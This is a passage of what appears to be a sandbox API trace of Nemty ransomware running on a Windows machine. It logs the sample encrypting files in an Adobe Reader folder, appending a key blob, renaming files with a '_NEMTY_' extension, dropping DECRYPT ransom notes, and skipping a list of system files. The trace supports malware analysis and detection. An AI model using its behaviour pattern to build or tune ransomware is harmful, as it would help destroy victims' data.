hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.551] Sleep (dwMilliseconds=0x5) [0172.565] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a80eef0, dwHighDateTime=0x1d561e8)) [0172.565] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a80eef0, dwHighDateTime=0x1d561e8)) [0172.565] GetLastError () returned 0xb7 [0172.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.565] GetLastError () returned 0xb7 [0172.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.565] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.565] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.565] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0172.565] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="qDMYe5FwwfrKSSlnSIK+X8p7EqYqgs/MImPA+ndmyh6Mx1RKhF2lagY0QilQ9N9J\r\nx0UndibrKJokBM+H9xfYQD1fL4x9e9uf4lXF89sgl30rdBqX2Tzk1Y9BMUDaXHWH\r\nJgmtFYAIIQD59keWCT5Cey8OBynmRQj3803URW7uZ+czjZ1OS4R6BWBhMcP1Ubn0\r\n1ZKjuhQMrOagf7SM+GqG5LK+dsOXU0clo1z0Td63P000Vnc3G8YHF5DRr8MgchXG\r\nqqoRWj60Gtw4VQPnpMdMqCQrObg0MdDi7sVj3D4LHZjAKTUaogzlUr+UuNuEhJ9Y\r\n4CjT6RB1HyxM18SMO2NYTA==\r\n", pcchString=0x653e5dc) returned 1 [0172.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0172.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.566] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.566] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=77228) returned 1 [0172.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x12da0) returned 0x6352c48 [0172.566] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.567] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x12da0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x12da0, lpOverlapped=0x0) returned 1 [0172.573] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.573] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x12da0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x12da0, lpOverlapped=0x0) returned 1 [0172.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.573] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=77228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12dac [0172.574] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.574] CloseHandle (hObject=0x3b0) returned 1 [0172.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0172.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0172.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0172.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.574] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\license.html._nemty_kgobjgd_")) returned 1 [0172.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0172.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.575] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7c2c30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a7c2c30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a7c2c30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.575] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.575] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.575] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.575] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.575] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.575] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.575] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.575] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.575] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.575] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.575] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.575] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.575] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.575] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.575] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.575] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.575] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.575] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.575] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.575] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.575] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.575] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.575] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.575] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.575] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.575] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0172.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.576] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7c2c30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a7c2c30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a7c2c30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.576] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.576] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="CHT", cAlternateFileName="")) returned 1 [0172.576] lstrcmpiW (lpString1="CHT", lpString2=".") returned 1 [0172.576] lstrcmpiW (lpString1="CHT", lpString2="..") returned 1 [0172.576] lstrcmpiW (lpString1="CHT", lpString2="...") returned 1 [0172.576] lstrcmpiW (lpString1="CHT", lpString2="windows") returned -1 [0172.576] lstrcmpiW (lpString1="CHT", lpString2="$RECYCLE.BIN") returned 1 [0172.576] lstrcmpiW (lpString1="CHT", lpString2="rsa") returned -1 [0172.576] lstrcmpiW (lpString1="CHT", lpString2="NTDETECT.COM") returned -1 [0172.576] lstrcmpiW (lpString1="CHT", lpString2="ntldr") returned -1 [0172.576] lstrcmpiW (lpString1="CHT", lpString2="MSDOS.SYS") returned -1 [0172.576] lstrcmpiW (lpString1="CHT", lpString2="IO.SYS") returned -1 [0172.576] lstrcmpiW (lpString1="CHT", lpString2="boot.ini") returned 1 [0172.576] lstrcmpiW (lpString1="CHT", lpString2="boot.ini") returned 1 [0172.576] lstrcmpiW (lpString1="CHT", lpString2="AUTOEXEC.BAT") returned 1 [0172.576] lstrcmpiW (lpString1="CHT", lpString2="ntuser.dat") returned -1 [0172.576] lstrcmpiW (lpString1="CHT", lpString2="desktop.ini") returned -1 [0172.576] lstrcmpiW (lpString1="CHT", lpString2="CONFIG.SYS") returned -1 [0172.577] lstrcmpiW (lpString1="CHT", lpString2="RECYCLER") returned -1 [0172.577] lstrcmpiW (lpString1="CHT", lpString2="BOOTSECT.BAK") returned 1 [0172.577] lstrcmpiW (lpString1="CHT", lpString2="bootmgr") returned 1 [0172.577] lstrcmpiW (lpString1="CHT", lpString2="programdata") returned -1 [0172.577] lstrcmpiW (lpString1="CHT", lpString2="appdata") returned 1 [0172.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHT", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHT", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHT", lpUsedDefaultChar=0x0) returned 3 [0172.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHT", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHT", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHT", lpUsedDefaultChar=0x0) returned 3 [0172.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.577] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.577] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0172.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0172.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.577] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0172.578] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.578] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.579] CloseHandle (hObject=0x254) returned 1 [0172.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0172.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.580] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.580] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.580] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.581] CloseHandle (hObject=0x254) returned 1 [0172.581] HeapFree (in: hHeap=0x4f90000, 